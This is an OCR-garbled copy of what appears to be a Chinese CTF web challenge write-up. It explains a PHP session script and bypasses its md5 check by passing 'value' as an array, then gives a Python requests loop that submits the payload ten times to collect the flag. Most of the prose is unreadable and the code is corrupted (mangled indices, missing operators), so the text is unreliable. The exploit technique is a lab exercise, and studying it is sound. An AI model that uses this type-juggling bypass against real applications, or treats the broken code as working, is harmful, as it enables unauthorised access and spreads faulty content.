iZE K KIWEBE -3 WP

V=R F 2019-12-22 21:33:35 K Afi 282 R

DRER: AHEEH T B exp XERE: EFELEE

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/gq_45552960/article/details/103657224

10 WXEO0ITH
ITEER

B

2BXEOITH
ITHER

IIiIxQ
B

3RIE 0
BT
RRERLFIEE, BEAH TR, BT, MEHEE SREERHEEE



https://blog.csdn.net/qq_45552960
https://blog.csdn.net/qq_45552960/category_9352926.html
https://blog.csdn.net/qq_45552960/category_9613239.html
https://blog.csdn.net/qq_45552960/category_9550726.html
https://so.csdn.net/so/search/s.do?q=%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_45552960/article/details/103657224
https://blog.csdn.net/qq_45552960/category_9352926.html
https://blog.csdn.net/qq_45552960/category_9613239.html
https://blog.csdn.net/qq_45552960/category_9550726.html

?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION[ 'nums'])){
$_SESSION[ "'nums"' ] 0;
$ SESSION[ 'time'] time();
$ SESSION[ 'whoami'] 'ea';
}

if($_SESSION['time']+120<time()){

session_destroy();
1
J

$value $ REQUEST[ 'value'];

$str_rand range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($ SESSION[ 'whoami']==($value[0@].$value[1]) substr(md5($value),5,4)==0){
$_SESSION[ "nums' J++;
$ SESSION[ 'whoami'] $str_rands;

echo $str_rands;
}

if($ _SESSION[ 'nums']>=10){
echo $flag;
)i

show_source(__FILE_);
?

1.Line 3~9: FiH&iE, A flag.php X, ABERLEREE $_SESSION KI=ZNSHAIIHEIL

2.Line 11~13: # Session HRIHEEEL T F44h, MHEB LT 1E

3.Line 15~17: it GET &3R8 POST & RIKEK value %, HBENLIEEFAN/NE ZRBHEER TR $

4 Line 19~23: # $_SESSION['whoami’] % T $value HHFHA LR IPHHEE, FH H $value i) MD5 A EIE 5~8 1% T 0,
% $_SESSION['nums’] B3, % $_SESSION['whoami’] 5 #i ABEHL 77 & H-4

5.Line 25~27: # $_SESSION['nums’] K F%TF 10, W%k flag.

HETREEERE, BEARy, BEXATHNLEANTEEIMERZE, K [Hik] K flag.
A B RIS GET 5 POST XK, XA —HASHBWARTRE. FRGTEBUTHM:
value[ ]=e&value[]=a

value[@]=e&value[l]=a

¥ Firefox MIY38, £%F GET ERBATIWIE. F—Fh7iE:
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error_reporting (0);
session_start ()

require(’. /flag. php’);
if(tisset (§_SESSION[ nums’ 1)) (

G O=EEE O#is DEE (Ikess G Car - o B e

[z

R JE 5 P ME B JORAURLA, BRI Meald, XHEE i, flaghtitiRT .



WM REERE

<« c @ ibbb29%ccc4976b0dbd 3f5630e3d0a215aedbbeSbf45 7e.game.i i3 S = had
error_reporting(0);
session_start()
require(’. /flag.php' );
if(lisset ($_SESSION[ nums’ 13) {
b O=E8 Osts DEE (I#tpEs Cue OnE FE B e
Tir i URL Il Fif HTML CSS IS XHR =ik E& S ws =Hi
i Ak 3 ] . i) {55 e 0 | 80 6| 160 86 240 Ehb 1320 B] B Cookie &% B HE ARG
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value[0]: e

value[l]: a
E 1M8% DIFE524KB/556KB  FAf: SBE#  DOMContentloaded: 123 ¥ load: 137 i

XiF, f#H Python FI15 =5 FFIRE Requests 4’5 H sh LA, BIFTRAMRRIAE, EARENS%: 1# CTF Web Fidiz
3 POST &k
PLUF 245 GET 5 K& i Python f@ REEIZs .

import requests

url "http://2428bbb29ccc4976b0d6d3f5630e3d0a215aedbbe5bf457e. game.ichunqiu.com/"
S requests.Session()

whoami ea

for i in range(10):

print(whoami)

payload "?value[@]={}&value[1]={}".format(whoami[@], whoami[1])
response = s.get(url + payload)

whoami = response.text[:2]

print(response.text)

Line 8~12: HEZIEIIEAL 10 Ik GET &K, I HERIEIRK value 5.
Line 13: K& )JE—RMWMNFH A EHE, BIWEZ flag.
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